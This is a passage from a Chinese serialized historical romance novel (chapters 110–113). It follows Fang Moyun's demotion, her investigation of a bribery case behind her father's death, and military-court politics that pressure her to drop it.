丞相亦暗示劝卢帅等人，水至清则无鱼，不管朝臣以前做过什么，只要他们此刻能同心协力抵御外敌。可是即便如此，他们亦很艰难，敌人是以利益和把柄相裹挟，轻而易举。而他们靠什么，只能靠信念和忠贞……
若辰夜里入营，送来京中来信，正啸读着信双眉不禁皱起，可想而知京中之难。
“密营！”正啸读完信顿时握紧了拳头，咬紧了牙关，铲除密营终究是是不得不做之事，可父帅下了军令不准自己出关。
“还有一件事。”若辰放下茶杯，望向正啸言辞带有几分试探。
执礼似乎亦感受到了这语气，抬目望向若辰。
若辰温和的望向正啸说“方茉云被吏部贬黜到通州县为县丞，这南境诸位官员皆知她是被卢帅和大将军厌弃之人，那便是墙倒万人推……”
正啸没有任何表情，好像此事与自己无关。
“我别无他意，只是想告知你一声，我定会保她。”若辰放下茶杯说道。
谢青望向若辰，谁都知道若辰素来和正啸同心同德，唯独在茉云这件事上，他必然会事事相护，可是正啸却依旧缄默不言。
走出营帐，何友叹息着望向若辰说道：“明知正啸哥厌弃，兄长何苦提及……若兄长想护茉云一二，私自护他便是。”
“我就是说给他听的……”若辰淡然走出了军营。
通州县衙的县令吴叶衡，倒也不是什么趋炎附势之徒，他素来敬仰卫国护民的南关将士，为人特别刚正，甚为迂腐不知变通。
他亦知道茉云背叛正啸之事，事事都看严着茉云，茉云素来寻常之时都是与人为善，也没有说什么。通州县本在中州治下，宋大人几次暗示吴叶衡，吴叶衡根本没有理会宋大人的意思，反而以为是宋大人偏袒，触动了他那颗要为忠臣直臣的神经，更加觉得自己决不能放过这害群之马。
茉云自从南铸之后，身体一直在恢复，吴叶衡总是把最苦最累的活给她干，日已初冬，吴叶衡派茉云去边关送粮，且不说峑戎对茉云的悬赏何其高，军中对茉云何其敌意，他都知道。可是吴叶衡坚持这是司法参军的职责，茉云领命去了。
小关的守将自然是也没有给茉云好脸色看，便是连饭食都没有打发，茉云夜里赶回，城门已经关了，茉云只好坐在城门楼下等开门，她抬头望向银河横空，繁星璀璨，夜风此刻好凉啊。
忽然出现一身着月白长袍的男子身影，月光照出了他英逸的面孔，如温润如羊脂玉一般，没有半点烟火气，却手提着一坛酒。
茉云顷刻间嘴角上扬刚接过那坛酒，此刻不远处又闪现出一个伟岸的身影……
110.前路
月光下，一双冰冷却明澈的眼眸略带邪魅，高挺笔直的鼻梁又凸显阳刚，寒风之下长发随意的飘拂，敞开的衣领彰显着狂野，嘴角上扬还是那副不羁的模样。
他望向茉云笑了：“混到了这般田地？”
若辰亦转身闻声望去，看向这个一看便是外族人打扮的魁梧男子。
“认识关公子吗？”茉云笑笑指向若晨道。
“久仰大名，初次见面，我是幽戎。”
若辰眼中连转瞬的错愕都没有，淡然的望向幽戎，茉云被逗笑了，这便是关大才子的气度，他连幽戎一根指头都打不赢，却依旧这般矜傲，若是他弟在，不得将眼睛瞪得跟月亮一般圆。
“说来都是朋友的朋友，你们那朋友也不靠谱啊，没有介绍你们认识一下？”茉云乐了看向他两说道，拿过若辰手上的酒碗，将两个酒碗倒满了酒。
幽戎坐下抬手端起了一碗酒：“小时候倒也听卢正啸提过，京城有个朋友只喜读书，抬手一棍子就能将其打死。”
“扑哧”茉云顿时笑得前俯后仰，若辰眼神中闪过一丝无语，这便也是卢正啸小时的口气。
“卢正啸有什么好，值得你这般喜欢？”幽戎喝着酒突然望向茉云。
若辰怔了半刻望向茉云，茉云直接拿着酒壶对嘴里倒着酒，一口酒下去顿感暖意。
“那他的优点就多啦，威武，霸气，官大，有钱，人帅话不多。”茉云望向幽戎靠着城墙想着，然后转身望向若辰为难的小声说道：“诶，外敌当前，气势不能输，快帮我想想卢正啸优点。”
若辰顷刻被逗笑了说：“人无缺。”
茉云呆愣了一会儿指着若辰望向幽戎：“看见没，最喜欢卢正啸之人在这儿。”
幽戎一袭玄衣，发如墨韵，茉云望向他那剑眉入鬓的侧脸，说起卢正啸，他顷刻冷如寒霜。
“哎，我也知其杀你全家，你自己又非要提。”茉云无语的拿起酒坛又往嘴中倒着酒。
“若不是在战场之上，他见你兄长，错愕迟疑了半刻，你兄长拔箭就射杀了百林，他差点活活让元帅军仗打死！”若辰冷然回敬道。
茉云望向若辰，难怪传闻中百林是为他亦是因他而死，也难怪他见到唐家姐弟倒在自己面前时，是那般的痛绝的神情。
“方茉云，跟我走吧。”幽戎忽而说道。
“你幽戎沦落至此，要用这般狗血的伎俩来反间？”茉云倒是乐了说道。
“否则你会死无葬生之地的。”
茉云依旧是那副嬉皮笑脸的嘴脸：“你们峑戎在关外给我开出了多高的悬赏？你缺钱花了？”
幽戎那双子夜寒星的般的双眸望向茉云：“卢正啸命太硬，他死不了，可他身边的人都得死。”
茉云笑着头靠着城墙说道：“那便是老天让卢正啸吃尽你吃过的苦，算是还了你的债！”
“那倒是，老天有眼！”幽戎则笑了将酒碗中酒一饮而尽起身说道，“若呆得不开心了，来找我……”
月色下，幽戎的背影都散发出一种原始而野性的气息，仿佛潜伏的猛兽，渐渐消失在这夜中。
茉云无语的转身望向关若辰说道：“关巡抚，我自将心照明月，我对朝廷绝对忠诚。。”
“可知自古人都是如何形容尔种人？”
“如何？
“抢手货！”若辰笑着望向茉云故意以市井之言评价道。
“我还以为关大公子会说，我乃荣曜秋菊，华茂春松呢？”
说完两人在月下哄堂大笑，茉云眼神中亦闪过一丝温和，她本是习武之人，她能感受到关若辰的气息自始至终都未慌张，自一开始就从未怀疑过自己半分。
“他是希望你乘风好去，可长空万里……”若辰抿了一口酒清然说道。
“少他娘往他脸上贴金了？怎得老子放过了倪尚，还得放过了唐百刚姐弟？”茉云顿时没好气的骂道，“知道当年我全家饿得前胸贴肚皮之时，柳公子乘了满满一碗粥给我，知其多好吗？”
若辰转头望向茉云，果不其然谈起正啸，她就会暴跳如雷。
“他长得那般面如冠玉，温文尔雅，只比你差那么一丝，这般老天用心雕琢之人，被唐百欣谋杀亲夫了！她是人吗，老子不得弄死她？亏得没把她奸夫一起弄死，老子真是对不住柳公子。”
“奸夫？”若辰顿时笑得前俯后仰说道：“唐百欣自幼是心系正啸，但是正啸心中未有此根弦，待他两如至亲弟妹。”
“算了，皓月当空，好酒在前，不要提及扫兴之人。”茉云继续喝着酒说道。
若辰长叹一口气，朝中纷争已至鼎盛，蛟龙犹困，何况是茉云，若朝中洞悉正啸对茉云的在意，她将在劫难逃，这便是卢正啸自小便不敢动那根弦的缘由，奈何有时亦不是能轻易克制……
茉云则望向苍穹，刚幽戎问自己的问题，自己亦问了自己千百遍……
直到东方破晓，城门开启，若辰轻装入了府衙，见了县令吴叶衡，最终将南铸案情始末告知了他，让他勿论朝中之非议，秉公执掌县衙，莫在南境官场上留下个徇私报复之名。
吴叶衡素来敬重关家，自是应了，他心中回想茉云这几月的所言所行，皆也不是传闻中那般不堪，故而他决定好好看着茉云，宋大人也派遣了老马和小马来了通州县，帮衬她一二。
这日吴叶衡居然命人传来了茉云，茉云恭敬行礼之后望向吴叶衡，这个刚正和迂腐皆出奇的县老爷，他又有何高招？
“方县丞，为何入公门？”
茉云顷刻无语的望向吴叶衡：“大抵是收入不错？”
“你还年轻，公门这条路并不适合你的性子，若你有心励精图治在公门奔个前程，就因循规蹈矩，事事以朝廷律法为先，日后本县令会多多提点于你。”
茉云硬是怔了三刻望向吴叶衡，晃过神来才马上行礼说：“谢谢大人提点。”
“嗯，你下去吧。”
茉云走出去望向忍俊不禁的老马和小马问道：“这话怎么听得这么耳熟？”
“上个说过此话之人已经被您气得七窍生烟！”小马顿时笑得前俯后仰的说道，“不知这位吴大人是否比将军能耐？”
茉云顿时一个好大的白眼，无语的拂袖而去，可是回到房里自己倒是被逗笑了，遥想当日好像是从宋大人家回府衙的路上，圆月高挂，银辉满地，他转身望向自己，眼神中透出无奈的温和……
翌日，莫名的飞雪漫天，县中百姓都感叹今年这雪怎来得如此急切？茉云站在府衙抬头望向飞絮，被府衙门口一阵喧哗声打断，老马带人抓到了一个过境的通缉犯，押进了府衙。
茉云抬眼望去，顿时眼神顷刻闪现寒光，让她身边的小马都惊了随着她的眼神望去，是一个胡子拉碴，破布阑珊的壮汉，年岁应该也不小了，鬓角有些斑白，但是臂膀仍旧粗壮。
茉云是一眼就认出了他，他是当年的水匪之一，不过是年岁大了之后，可这个凶狠的面容自己绝不会认错。
当晚寒风瑟瑟，茉云依旧亲自提审了他，最终果不其然他交代，他是当年水匪的一个小头目，他交代当年水匪的背后是当时的南境军方的人。
夜里白雪与月色相辉映，茉云一路踏雪而归，这大雪
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仿佛埋藏了无数的往事，可终究雪会融，而真想也会被有心之人揭开，自己这一生，都无从患得患失，只得是天上掉下来之事能接着便好，切莫被砸中或深埋。
茉云这些日子一路深挖此案，他最终跨境秘密逮捕了水匪交代的，当年与水匪交易的一名副将，是一个已经荣归故里的老参将，他是当朝兵部尚书长子丁勇的部下。
丁勇当年是南境都督府的将军，最终这名副将招供了，当年是丁勇下令私自调走了骆大人的属军，才导致茉云父亲全队的殉职。原因是丁勇收受了贿赂。而骆大人只是官官相护，迫于上级的权威，所以隐瞒了此事。
茉云坐在县衙大堂屋檐之上，望向冬日的万里凋零，就连夕阳都失了绚烂，化成空虚而灰白的苍凉，唯剩北风傲然呼啸。
此时宋大人的车架来了通州县衙，茉云望去他包裹着披风，寒风瑟瑟中小心翼翼被太易扶下马车的样子，叹了一口气，该来的终归是要来的……
宋大人受吴叶衡拜见之后，仓促的寒暄了几句，独留下了茉云。
“开春了再到处跑不行？”
“开春之时，那些熊蛇之辈，皆不知跑去哪儿了。”宋大人没好气的望向茉云说道。
茉云平日里定是和宋大人嬉皮笑脸，可是今时今日却一脸的冷凌，没有半分的缓和，开门见山：“宋大人此行来，该不是劝我不要报血仇吧？”
“你可知丁大人是兵部尚书，丁大人为人如何，你在京城呆过，想必你知晓！”
“丁大人诸事可敬，唯独教子不严。”
“丁大人为人忠孝，对待母亲可谓是至诚至孝，也是因为其母庇护，才导致丁勇张狂……”
茉云顷刻打断了宋大人的话：“我不用他全家陪命，丁勇伏法即可！”
宋 大人深吸一口气说道：“茉云，我也不跟你顾左右而言他，朝中局势险恶且大局未定，与峑戎之战最终看朝廷大势，丁大人从始至终是主战的主心骨之一。”
沈师爷也接过话来说：“你此时要治丁勇于死地，怎么可能不牵扯其父，那便是让主战派折翼，那你就一生被俘南境罪人之名。”
“对，我在乎名声？”茉云无语的望向这两位胡子花白之人，跑这么大远，一路上就准备了这番说辞。
“丁家本是卢家这些年来最可信赖的战友了，你这一出手，害倪家辞官，逼唐家自裁，再弄死丁家，方茉云，那你折为南境太平腾这么久，帮人家所为何啊？你怎不一开始就弄死卢正啸？”宋大人没好气的指着南边骂道，小马等人都只得伏低头忍俊不禁。
“宋大人，此话不假，我是一开始就想弄死他的，奈何那日，太易在鬼市买药的时候，买了假药，下了没用！”茉云一脸无可奈何的回敬道。
“扑哧”顿时所有人哄堂大笑，宋大人亦笑得不行。
“哎，他和若晨之难，难于上青天，望你体谅一二，丁勇之罪，南境太平之后，他们一定会给你一个交代。”
茉云深吸一口气，不知为何脑海中忽然出现了那日自己身中剧毒，卢正啸带自己一路疾驰回中州求医，他曾跟自己说，终有一日，只要自己找到了他们害死爹的证据，他一定不会放过他们任何一个，让他们恶有恶报。
“好，我再信一次！”茉云淡然的说道。
宋大人长长的松了一口气，望向茉云慈祥的摸着胡子笑了，茉云则望向窗外那寒风中缭乱的枯枝，树欲静而风不止……
茉云轻轻端起了茶杯，茉莉花茶清香四溢，不禁想起关若辰说，他希望我前路长空万里，可任其是万里长空还是万丈深渊，我都定要闯……
111.不弃
冬夜的枯枝被风招惹得放肆摇摆，好似想刺破周遭一切。谢青一手握紧领口的衣襟，另一只手握紧书信，走入了正啸的营帐。
正啸正在和诸将讨论南关布军，谢青恭敬的奉上了宋大人的来信，他随手接过来一看，双眉顷刻锁紧。
他深吸一口气说：“你们先下去修整，明日再议。”
“是！”诸将旋即起身，抱拳行礼然后都告退了下去。
还未等执礼问何事，军营入口处便传来了若辰的马蹄声，执礼伸手拿起了信，看完顿时亦双眉微蹙若有所思。
若辰拨开了营帐便问：“可见到宋大人的来信？”
“嗯。”正啸深吸一口气皱眉说。
“宋大人信中说他已说服了茉云暂且搁置丁勇之事，以南境大局为重。”若辰宽慰众人的说道。
“哥，她连倪尚、唐百刚都不能放过，她能放过杀夫仇人？”何友拿着信件说道，“为父报仇可是方家后人的最要紧之事！”
若辰顿时抬头瞪向何友，示意他闭嘴。
正啸仰身靠着椅背，双手放在椅侧扶手上：“去查查这个案子为何在这个时机突然水落石出，查清之后，再做打算吧。”
若辰瞬间明白了正啸的意思，点点头。
“回信给宋大人，此事不宜张扬，若未再有动静，暂且搁置此事为好。”
“是！”谢青马上应道。
若辰望向正啸疲惫的神情，他自小习武从来都是站如松，坐如钟，而此刻他寒毒在身，边关重担在肩，朝局险恶至此，腹背受敌，心力憔悴，便是靠信念强撑着。
没过几日，卢帅来南关视察，方茉云查到丁大人身上之事不知是如何传到了他的耳朵里，正啸的处置方式亦让其雷霆大怒。
“你还隐瞒压制此事，想让丁大人全家也如百欣，百刚一般死得不明不白。”卢帅拍着桌子怒斥正啸道。
“元帅，宋大人已经跟她陈述了利害关系，她已……”执礼马上解释道。
“正啸，方茉云此人行事怪诞，没有信用可言。”元帅身边的顾将军深吸一口气说道，“为稳妥，还是提早防范为好。”
“恶人就不该任由其为恶！”卢帅顿时愤然起身说道，“来人啊……”
“父帅，是谁告知你此事的。”正啸忽然抬头打断问道。
“怎么？卢正啸，你是被鬼迷了心窍？百欣他们姐弟尸骨未寒！”元帅怒不可斥的吼道，“日后你让你爹拿什么颜面去见你娘，你有什么脸去见百林，他为你而死，你连他临时托付的一双弟妹都没有包住。”
正啸深深吸了口气，还要说什么却被震北将军拦住了说道：“正啸，元帅走车劳顿，今日先让他好好休整一下，明日再议吧。”
“好，父帅你早些歇息。”
元帅连夜就将消息传回京城，让丁大人加以防范，他们任谁都知道茉云的能耐。
丁大人之子丁勇得知此事之后大惊失色，他立刻派人来了中州，利用自己的关系，要将他的老参将从牢中调入京城，说他涉事一宗贪腐之案。
茉云心里自然是清楚他此举大抵就是为了灭口，此证人一走，日后定无音讯，现在言大人在朝中也不是一般的地位，既然之前宋大人来此所约定的暂且搁置，他们失言，要先下手为强，那就别怪她了……
她直接就把案件捅破了，上报了刑部，要把这件案件办成了铁案，瞬间在刑部闹出了轩然大波，柳大人费劲力气压制住了，可众人皆知，如果茉云再将此案上报都察院察院，那便是回天乏术。
宋大人马上亲自赶到了南关，却碰见了此时已经油盐不进的元帅等人。
“老宋，我等在朝为官半生，难道斗不过一个奸诈之徒。”
宋大人深吸一口气劝道：“老哥，茉云为南境，为卢家军可谓是肝脑涂地，为何要斗她？”
“她戾气太重，害了我百欣，百刚，我当日便要灭了此孽障。”元帅义愤填膺的说道。
“老哥！”
“你不要再说了，我是念在昔日老黄家的恩情，放过了她，今日她还要将恶手伸向丁大人，那此人是不得不除！我如何能让老丁去步黄将军和倪大人的后尘。”
“父帅，丁大人之子丁勇，当年贪墨至南境万民于水火，方县丞为保一方百姓，遭水匪屠戮，也是丁勇收受贿赂，纵容水匪所致！”正啸顿时起身望向元帅说道。
元帅怔了半刻瞪向正啸吼道：“奸人诬陷何患无辞。”
“她办案从来都是铁证如山！丁大人是丁大人，其子不忠不义也是事实，若我行此不义之事，您会斩我以正军法吗？”
元帅顿时气急抬手就是一巴掌过来，幸亏震北将军眼疾手快的挡在了中间，众人都吃惊的望向元帅。
“你个不孝子，百欣和百刚的冤魂还未散，我就是杀她以正军心，又如何？”
“元帅息怒！”若辰也立刻跪了下来说道，“无论如何，她亦罪不至死！”
“那您这便是草芥人命！”正啸忿然回怼道。
宋大人等都愣住了望向正啸，顿时气得元帅操起了军棍就要冲过来，被震北死死跪着抱住了。
“正啸，你怎么跟父帅说话的！”震北亦瞪向正啸骂道。
“你让开，我今日不打死这……”卢帅火已冲到了头顶，众人都不知该如何相劝。
执礼顷刻间便跪地打断元帅的话说：“卢帅，唐百欣和唐百刚该死！”
众人皆吃惊的瞪向执礼，他居然此时还这般说，要知道百欣和百刚与他一起长大。
“在座亦无外人，请容执礼向您禀明，唐百刚该死，该死在他纵容他姐为恶，以为执掌南铸，手握兵器便能永远在卢家占一席之地。”执礼咬牙望向卢帅说道。
“你说什么？你也被那方茉云所诓骗？”
“元帅，方茉云是为救少主，为救卢家军。”执礼深吸一口气说道，“是唐百欣出卖了卢家和倪家，让倪大人赴死，至倪虹无法嫁入卢家。而且少夫人也是死在唐百欣手中……”
众人顿时愣在原地望向执礼，就连正啸都错愕转头望向执礼。
“你有何证据？”
执礼深吸一口气不禁眼眶微红：“元帅，老太君已心如明镜，您可去问老太君始末，倪夫人在倪大人决意赴死之际，叹息自己一双儿女日后无所托，便将倪大人与您的书信，拓写了一封，当日倪虹持此书来南境谷山县，本是心中不愤，欲与卢家同归于尽。”
众人更是诧异，若辰亦吃惊的回想起，难怪当日倪虹心绪失控之时，亦说不会让卢家日子好过，自己还曾想以往倪虹不会如此张狂失了气度，原来她是有证据在手。
“众人只当
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是倪虹心中忿然，只有方茉云察觉，便放过了倪尚，与之交易，许诺为倪家复仇，让倪虹交出此书信。”执礼深深吸了口气说道，“元帅，唐百欣恶行罄竹难书，唐百刚知晓却纵容，他们在南铸更是恶贯满盈，只手指天，你觉得对手突然发难，难道会是不知吗？方茉云让他们自裁结案，让倪虹交出了书信给老太君，不然卢家满门亡矣。她从未因盛气背叛过少主，属下无用，一直都是她护着少主和南关大业。”
“那你为何不说。”若辰忿然瞪向执礼说道。
“她未说，老太君亦不准我说，她不在意，可我等必然以军心为重，她也知道众人怨恨于她，比怀疑卢家军忠贞好，此事若传开……”
“那你为何连少主都不说？”
“若不是唯恐元帅和少主心生嫌隙误会，我一生都不会说，因为说了又如何？少主身边的遗憾还少吗？有人痛哭流涕，有人不喊疼罢了……”
元帅差点瘫坐到椅子上，望向执礼，手都在颤抖：“你说老倪和儿媳都是……”
执礼想着亦忍不住泪水掉了下来：“还请元帅保重，老太君当日也是痛心疾首，泪流满面的跟柳将军上香，说是她有负所托，没有教好他们。”
元帅顿时垂着胸口，他怎么能想到倪大人之死是祸起萧墙，对于他们这些沙场纵横几十年满身是伤的人来说，什么是痛？这便是最痛。
若辰深吸一口气望向正啸，见他咬紧了牙关，亦是痛而不言。
营帐中的沉默如此寂寥，这些习惯了污秽和恶浊的人顷刻间又陷入深渊，又或者说他们一直淹没在这深渊……
而此刻茉云在房中和来通州县寻她的青岚，围坐在炉火边，看似悠然自得的烤着糍粑。
茉云望向青岚失魂落魄的眼神，无语的翻着糍粑说：“我不太善于宽慰人……”
青岚轻轻的翻拨着炭火，亦没有答话。
“但是逮人是我强项，我现在把许大官人逮了如何，再狠点，打他一顿保管他这辈子都没法大婚。”
青岚无语的丢开火钳，没好气的瞪向茉云：“你知道是我选择离开的，你不准去动他啊。”
茉云拿起烤好的糍粑，掰开递给了青岚一半，无语安慰道“行，与其去他家一生陪笑，还不如一个人清清静静。”
“我知道，不论你想得多明白，亦会怅然所失……”青岚接过糍粑叹息的说道，“若有一日你见到卢正啸成亲，你便会明白……”
茉云闻着手上弥漫着米香的糍粑，想着说道：“人青梅竹马被我吓跑了，小妾又被我逼死了，正在气头上，估计一时半会也找不到合适续弦之人，你所说的感受，我短期应该明白不了。”
“扑哧”两人顿时想着都被逗乐了。
青岚轻轻剥着小块的糍粑放在嘴边轻轻吹着：“你可知大老鹰现在如何？”
“我从何得知？”茉云咬着烤糍粑，眉头瞬间微蹙，她怎会不知他如今身陷困兽之斗。
“卓思淼告诉我，宋大人说他们不是怪你，是想成全你一个海阔天空，不想你陷入深渊，并非弃你！”
茉云眼中闪过一丝冷凌，嘴角上扬的冷笑道：“轮得到他弃我？”
屋外狂风大作吹开了窗，青岚起身去关，茉云则抬目望向窗外，风卷残云呼啸而过，她却冷峻的笑了，纵有疾风起，是我不相弃。
112.风雨
营帐外的寒风也在呼啸着，卷着飞沙遮天盖地，如同冰冷的刃锋，刀刀袭来，刺入人心。
正啸回到营帐中，他望向了深藏云夕剑的箱子，心似乎也被帐外的狂风吹乱了心神，无处安定，无法理清，无尽挣扎。那些本是世间纯洁良善的灵魂，围到自己身边，不是被这深渊染黑，就是被这深渊吞噬……
千山守在一旁也是沉默，可眼神空洞得如被掏空了一般，事实居然是这般可怖，日后自己如何去见百林，只有万莫忠于职守站在营帐门旁，依旧那般坚定。
若辰回到自己休息的营帐，望向那微弱的烛光，自小世人皆说卢正啸和自己集万千荣宠于一身，投胎怎就如这一双贵子投得好，可他和卢正啸这一生经历，美好总是转瞬即逝，噩梦却是连绵不断。
翌日军营亦显得有些冷清，众人在元帅旁边站着亦是沉默不言，卢帅一看就是眼中布满了血丝，昨夜定是一夜辗转难眠。
最终是正啸打破了沉默看向元帅说道：“父帅，是否现在快刀斩乱麻，让丁勇自行去监察院谢罪，我担心……”
“丁大人本就年事已高，朝中亦是随着卢帅沉浮多年，同舟共济，如今又是腹背受敌之时，正啸，让你元帅如何开口？”顾将军深吸一口气望向正啸说道。
“丁勇若入狱，朝中那帮宵小必定群起而攻之，丁大人亦难辞其咎，艰难之时，谁可以撑起兵部大局。”卢帅望向正啸亦叹气道，“你我在军中，可知他们在朝中是如何艰难？”
正啸最终点头了，转头望向若辰说：“那就有劳你亲自去跟方茉云说，让她暂且搁置此事。”
“她能听我的？”若辰望向正啸说道。
正啸顿时没好气的瞪着若辰：“那你能干何事？”
“让沧海，万莫和威行随您一起去，她亦不会动手的。”执礼在一旁建议道，要知道平素方茉云还会给他们点面子。
“我军中有事。”沧海居然突然打断说，众人还以为他依然心中记恨唐家姐弟之事。
“执礼不是说了唐家姐弟之事亦是朝中的阴谋，她也是没办法！”威行看向沧海小声说，因为军中最近也没有什么紧要的事，沧海素来亦不是会随便拒接军令之人。
沧海则看向威行坦率的说道：“那丫头上次喝酒还说，将军答应她，只要她能拿出铁证，一定给他们家伸冤，现在铁证如山，咱跑去跟人说，以大局为重？”
威行顿时一脸想哭的表情说道：“我亦有军务在身，没法去！要知道这去跟方茉云谈什么大局，就好像去跟黄鼠狼谈要爱护鸡一样？”
“扑哧”顿时众人居然都乐了，元帅亦终于被逗笑了。
“一个女娃，瞧你们这出息？”元帅故作严肃的指着他们骂道。
顾将军却笑着望向元帅说：“要不我随元帅去一趟通州？”
元帅没好气的说道：“我去什么通州？上次在关外被伏击，老陈差点命都没了，那丫头一来就挖苦老子爹怎么没气活过来？还劈头盖脸问咱，三位老哥哥，这一路玩得开心吗？那老夫真是开心坏了！”
“扑哧”众人再也忍俊不禁，谁都知道茉云素来也没有什么敬畏之心，任谁她都能直说。
“老夫派人修书给丁大人，让他不用忧虑，暂且搁置此事，万事以大局为重，你们那个，你自己搞定。”元帅大手一挥起身说道。
正啸双眉紧皱也只能应允：“是！”
丁大人在京中收到了元帅的书信，自是知道元帅的良苦用心，可是他心里也意识到，他的长子丁勇是个不长进的孩子，无法继承家业，日后更不可担当朝廷重任，只怪其是在其奶奶身边长大，自小便是骄纵而溺爱，事事被袒护，而自己又忙于朝中事务，疏于管教。
他回到了家中便怒斥了丁勇，并以其母身体不适为由，逼丁勇辞官回乡侍奉母疾，丁勇拼命请罪忏悔，满嘴皆是说辞，可最终还是不敢违抗父命，只得暂且回乡侍母反思，但是恶魔难以自省，坏人不会变好，只有善人才爱反思。像丁勇这般自我且残忍的人心中，错的永远是别人。
所以他是不会放过方茉云的，何况有人推波助澜……
而若辰带着执礼，亲自来了通州，将事情始末告知了茉云，并承诺人犯绝不会带走，此时万事都以大局为重，希望茉云能体会卢帅的苦心。
“茉云，我能理解你的心情……”若辰拦住了执礼，看向茉云温和的说，“可是不得不以朝廷大局为重。”
茉云深深吸了一口：“那什么时候能处置。”
此时小马突然冲进来吼道“头，牢中那水匪和参将都倒在地上吐白沫。”
众人皆愣了半刻看向小马，茉云顿时一下眼神就变了，瞪向执礼，执礼蹙眉看向茉云。
“是你干的？”
“绝无可能是他。”若辰旋即解释道。
茉云握紧了拳头站在原地瞪向执礼，可执礼确实刚才亲自去查探了犯人。
执礼咬牙望向茉云辩驳：“方茉云，我难道会蠢到亲自去毒死犯人？”
“他没有！”万莫站在执礼身边马上说道。
茉云本已迸射出杀气的眼神，听了万莫所言，顷刻若有所思，瞬间又嘴角上扬露出了狠戾的笑容。
“对，卢家一般是不屑于做此事的。”茉云抬目望向旷野，眼露阴寒的说，“那是当事人丁勇干的吗？那就来得正好。”
“茉云你冷静点，丁勇哪怕回乡侍母，依旧是四品官衔在身……”若辰还未说完，茉云已经飞身而出。
执礼顿时忿然怒骂道：“丁勇难道真的如此愚不可及？”
“此时再莫言他，速速飞鸽传书告知正啸！”若辰皱眉叹息说道。
正啸收到了飞鸽传书，就带着千山和沧海飞驰出营，准备往通州赶。而在出营之时，他又收到了谢青疾步送来的京中来信，他长长吸了一口气，耳边狂风依旧在呼啸，而他自小便知，风来皆有缘由……
茉云在通州已经将被买通的狱卒抓获，在通州县翻江倒海的找着丁勇派来之人，因为证人已死，此人便是证人。县令吴叶衡看着这上下忙碌的县衙，关大人来了通州，亦没空见他，自己堂堂县令，却好像是个局外人一般。
茉云自是知道将此案再上报刑部自然还是竹篮打水一场空，她准备直接往都察院送。若是按照以往经过州府上乘，估计又会被吞没，她直接飞鸽传书给察院。
飞鸽刚一放出翱翔于天际之时，一道冷箭窜出，没有射中信鸽，却将信鸽腿上所绑之信筒射落了，如此出神入化的箭法，她能不知道是谁来了吗？
正啸走入了府衙，一脸的冷峻望向她，四目相触，他脸色在那湛蓝披风的映衬下，居然透着一丝苍白，可威严的气场依旧震慑八方。
还没等得众
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人反应，吴叶衡率先冲出了书房，跪下像正啸行礼，如果说关若辰是他万分崇敬的上官，那么说卢正啸就是他的精神领袖，他自幼在南关见过卢正啸之后，便下定决心，此生要励精图治追随他，忠君爱国，护万民安康。
众人亦马上跪下行礼，只有茉云依旧站在原地，怒目相视。
“方县丞，你居然如此无礼，见到卢将军还不行礼？”吴叶衡顿时愤然吼道。
茉云居然压根不搭理的转身回了自己书房，正啸抬手让众人起身，然后和关若晨一起也走进了茉云书房，吴叶衡愣了半刻转身望向茉云，是听说她当日是将军属下，可她判了将军，将军为何还会冬日里风尘仆仆来此地。
“可不是我出现在将军面前！”茉云头都没有转的冷冷说道。
“将那你的证词好好保留，现在不可上交监察院。”
茉云握紧了拳头，顿时咬牙吼道：“可当日你不是这么跟我说的。”
正啸眼中似乎闪过一丝愁绪，可是顷刻又转化为刚毅：“你能理解也好，不能理解也罢，丁勇此时不能有事。”
“我若不能理解，又如何？”
“任谁，任何种缘由，都不可破坏南关抗敌大局！”正啸忿然吼道。
茉云咬紧牙关瞪向正啸，正啸此时居然没有看她，他一贯从不畏惧人的目光。
若辰无语的劝道：“有什么话不能好好说！”
“即刻起，解除方茉云县丞之职！”正啸皱眉看向茉云说道，“回老家，此案你不要再插手，望好自为之！”
说完正啸转身离去，只留下茉云一脸决绝，若辰亦追了出去，一把拉住要上马的正啸。
“卢正啸，为什么不解释清楚，你明知道她此生最重要的事就是替父报仇。”
“那你就去陪她疯，可我手上还有数十万将士。”
“可此事终究是我们食言，你是如何答应他的。”
“那又如何？”
若辰瞪向正啸低吼道：“卢正啸，你当真以为人的忠诚和信任都是可以随意践踏，她会永远跟你站一边是吗？”
正啸冷冷甩开了若辰的手，自己上马疾驰而去，京中来信，圣上好似闲聊的问柳大人，兵部尚书丁大人是否年纪大了，现在太师意欲动用朝中势力扳倒丁大人，让他的学生韩大人接任，丁大人之位如今岌岌可危，若是丁勇之事被捅破，兵部尚书的位置他是定坐不稳的。而此时，朝廷派来的视察军营之人，又快到了……
他是失信于她，他亦感觉到了此事没那么简单，可他又能如何解释，他如今当真是分身乏术，唯有希望茉云能明白，离开官场这个是非之地。
“关大人，您以为将军解释，她会信？”执礼吸了口气看向若晨。
若辰知道茉云不会信，他心里亦明白正啸的为难，他是不可能弃了万军去护一个人的，他唯一可以做的就是让茉云远离。
“这世上，方茉云只信她自己，她不可能跟您一般，信少主就像信自己一般。”执礼望向若辰叹息的说，“为今之计只能期盼方茉云自己能断此案，她必能查明真相。”
山风起兮，四野寂静，正啸一路披星斩月的赶回军营，他看向天空，只有一个人的时候，他也不能骗自己……
茉云也抬头仰望同一片天空，当真是山雨欲来风满楼，自己这辈子逃避过，可从未逃跑过……
113.快走
夜风似八方吹来，带着这冷月寒星的刺骨，将人心吹得冰痛。
青岚拿起披风披在茉云的肩上：“大老鹰为何要亲自来？”
茉云冷冷的收回目光望向青岚：“别人敢如此威胁我？”
“瞧瞧你这凶狠的眼神，他亲自来此，定是想安抚你，你知他亦有难处，所以无法替你遮风挡雨？”
“安抚？他大老远跑来与我说，你理解也好，不理解也罢，好自为之！我之前还没这么火大？什么遮风挡雨？他便是我此生碰见之最大的风雨。”茉云顿时怒火中烧的骂道。
青岚瞬间被逗笑了望向茉云点点头，茉云无语的转过身来，躲开了青岚的眼神。
良久沉默后，茉云淡然望向星空忽然说：“明日你收拾东西回中州吧。”
“你又要干什么事了？”
茉云嬉皮笑脸的望向青岚转移话题：“等我给爹报了仇，咱就去正经找个媒婆，多给人家塞点钱！”
青岚瞬间笑得花枝乱颤，茉云也美美想着憧憬未来，可是眼中却闪过一丝愁绪，自己能过了这一关吗？
青岚则在寒风中不自觉收紧了衣领说：“等你忙完，又到了初春，可以去牢里探望大哥的日子。”
茉云顷刻间就愁眉不展：“春暖花开什么都好，想起这件事就愁，又要把我那哭爹喊娘的大嫂死拖活拽的扯出大牢！”
“咱们不及大嫂。”青岚望向星空叹息说道，“大嫂眼里心里都只有大哥，觉得大哥便是世上最好的，可为心中人不顾一切。”
